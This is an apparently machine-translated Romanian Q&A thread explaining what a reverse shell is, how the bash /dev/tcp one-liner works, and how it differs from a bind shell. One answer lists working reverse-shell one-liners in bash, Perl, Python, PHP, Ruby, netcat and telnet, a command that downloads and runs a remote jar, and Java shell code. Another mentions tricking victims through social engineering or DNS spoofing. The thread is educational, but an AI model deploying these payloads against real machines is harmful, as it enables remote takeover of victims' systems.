Ce este o cochilie inversă? (Programare, Shell)

Walid Da. a intrebat.

Ar putea cineva să explice în profunzime ce este un reverse shell și în ce cazuri ar trebui să-l folosim?Am găsit asta http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet referitor la același lucru, ce înseamnă:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Comentarii

  • da, dar nu înțeleg comanda de mai sus și de ce o numim reverse shell. –  > Por Walid Da..
  • Căutând pe Google „reverse shell”, această pagină apare ca prim rezultat. 😀 😀 😀 –  > Por iolympian.
4 răspunsuri
kay

Este un shell de la distanță(n nesigur) introdus de către țintă. Este opusul unui remote shell „normal”, care este introdus de sursă.

Să încercăm cu localhost în loc de 10.0.0.1:

  • Deschideți două file în terminal.

    1. deschideți portul TCP 8080 și așteptați o conexiune:

      nc localhost -lp 8080
      
    2. Deschideți un shell interactiv și redirecționați fluxurile IO către un socket TCP:

      bash -i >& /dev/tcp/localhost/8080 0>&1
      

      unde

      • bash -i „Dacă este prezentă opțiunea -i, shell-ul este interactiv.”
      • >& „Această sintaxă specială redirecționează atât stdout, cât și stderr către ținta specificată.”
      • (argument pentru >&) /dev/tcp/localhost/8080 este o conexiune client TCP către localhost:8080.
      • 0>&1 redirecționează descriptorul de fișier 0 (stdin) către fd 1 (stdout), prin urmare, socket-ul TCP deschis este utilizat pentru a citi intrările.

      Cf. http://wiki.bash-hackers.org/syntax/redirection

  • Bucurați-vă, deoarece aveți un prompt în fila 1.
  • Acum imaginați-vă că nu utilizați localhost, , ci un IP la distanță.

Comentarii

  • În fereastra man pagina pentru nc se precizează: „Este o eroare să folosiți această opțiune împreună cu opțiunile -p, -s sau -z. În plus, orice timeout-uri specificate cu opțiunea -w sunt ignorate.” Există vreun motiv pentru care ați inclus acest lucru în soluție? Am încercat-o pe mașina mea și nu a funcționat. –  > Por ConstantFun.
  • @ConstantFun „-l Ascultați o conexiune de intrare, mai degrabă decât să inițiați o conexiune cu o gazdă la distanță. Destinația și portul de ascultat pot fi specificate fie ca argumente neopționale, fie cu opțiunile -s și -p respectiv, cu opțiuni și, respectiv, opțiuni.”. Se pare că aveți o implementare nc diferită. Ar trebui să fie formulată astfel în netcat-openbsd și netcat-traditional. –  > Por kay.
  • Înțeleg, am încercat comenzile în Ubuntu și Mac OSX. Mulțumesc pentru informații. –  > Por ConstantFun.
qre0ct

În plus față de răspunsul excelent al lui @Kay, răspunsul la întrebarea dvs. de ce se numește reverse shell este pentru că se numește reverse shell, spre deosebire de un bind shell

Bind shell – mașina atacatorului acționează ca un client, iar mașina victimei acționează ca un server, deschizând un port de comunicare pe victimă și așteptând ca clientul să se conecteze la el, apoi să emită comenzi care vor fi executate de la distanță (în raport cu atacatorul) pe mașina victimei. Acest lucru ar fi posibil numai dacă mașina victimei are un IP public și este accesibilă prin internet (fără a lua în considerare toate firewall-urile etc. de dragul scurtării).

Ce se întâmplă acum dacă mașina victimei este protejată prin NAT și, prin urmare, nu este direct accesibilă? O soluție posibilă – Ce se întâmplă dacă mașina victimei nu este accesibilă. Mașina mea (a atacatorului) este accesibilă. Așadar, permiteți-mi să deschid un server la mine și să las victima să se conecteze la mine. Aceasta este ceea ce este un reverse shell.

Reverse Shell – Mașina atacatorului (care are un IP public și este accesibilă prin internet) acționează ca un server. Acesta deschide un canal de comunicare pe un port și așteaptă conexiunile primite. Mașina victimei acționează ca un client și inițiază o conexiune cu serverul de ascultare al atacatorului. Este exact ceea ce se face prin următoarele:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

wcc526

Exemple de reverse shell-uri în diferite limbi. Pericol este un cuvânt.

shell bash

bash -i >& /dev/tcp/1.1.1.1/10086 0>&1;

shell perl

perl -e 'use Socket;$i="1.1.1.1";$p=10086;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';

shell python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';

shell php

php -r '$sock=fsockopen("1.1.1.1",10086);exec("/bin/sh -i <&3 >&3 2>&3");';

ruby shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("1.1.1.1","10086");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';

nc shell

nc -c /bin/sh 1.1.1.1 10086;

telnet shell

telnet 1.1.1.1 10086 | /bin/bash | telnet 1.1.1.1 10087; # Remember to listen on your machine also on port 4445/tcp

127.0.0.1; mknod test p ; telnet 1.1.1.1 10086 0<test | /bin/bash 1>test;

java jar jar shell

wget http://1.1.1.1:9999/revs.jar -O /tmp/revs1.jar;

java -jar /tmp/revs1.jar;

import java.io.IOException;    
public class ReverseShell {    
    public static void main(String[] args) throws IOException, InterruptedException {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/1.1.1.1/10086;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }

}

Comentarii

  • De ce acest răspuns a fost votat negativ, marcat și pus în coada de revizuire? Aceste comenzi par periculoase, deoarece dau shell-ul pe o țeavă către un alt computer, dar nu văd nimic în neregulă. –  > Por Eric Leschinski.
V SAI MAHIDHAR

Reverse shell este obținerea conexiunii de la victimă sau țintă la computerul dumneavoastră. Puteți să vă gândiți că computerul dumneavoastră (atacatorul) acționează ca un server și ascultă pe portul specificat de acesta, iar acum vă asigurați că victima se conectează la dumneavoastră prin trimiterea unui pachet de sincronizare (depinde de implementarea reverse shell dacă este implementată folosind principii tcp sau udp). Acum, conexiunea apare ca și cum victima însăși ar intenționa să se conecteze cu noi.Acum, pentru a păcăli victima, trebuie să efectuați atacuri de inginerie socială sau să faceți spoofing dns și să vă asigurați că victima rulează programul. Un reverse shell de succes ar ocoli toate firewall-urile – atât firewall-urile bazate pe gazdă, cât și cele bazate pe rețea.Reverse shell-urile sunt de diferite tipuri – bazate pe tcp sau http sau reverse tcp sau reverse tcp sau reverse shell-uri bazate pe udp.

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1Pentru a deschide un socket în Linux aveți dev /tcp. Practic, deschideți un socket tcp în Linux.

Formatul general este: /dev/tcp/direcție IP/port. Acum ascultați portul 8080 folosind net cat as nc – l – p 8080 – – – vv

Un simplu reverse shell bazat pe bash ar fi executarea următoarei comenzi pe victima nc – e /bin/bash 10.0.0.0.1 8080. Aceasta înseamnă că îi cereți victimei să se conecteze la adresa dvs. IP pe portul 8080, presupunând că 10.0.0.0.1 este IP-ul victimei.

Tags: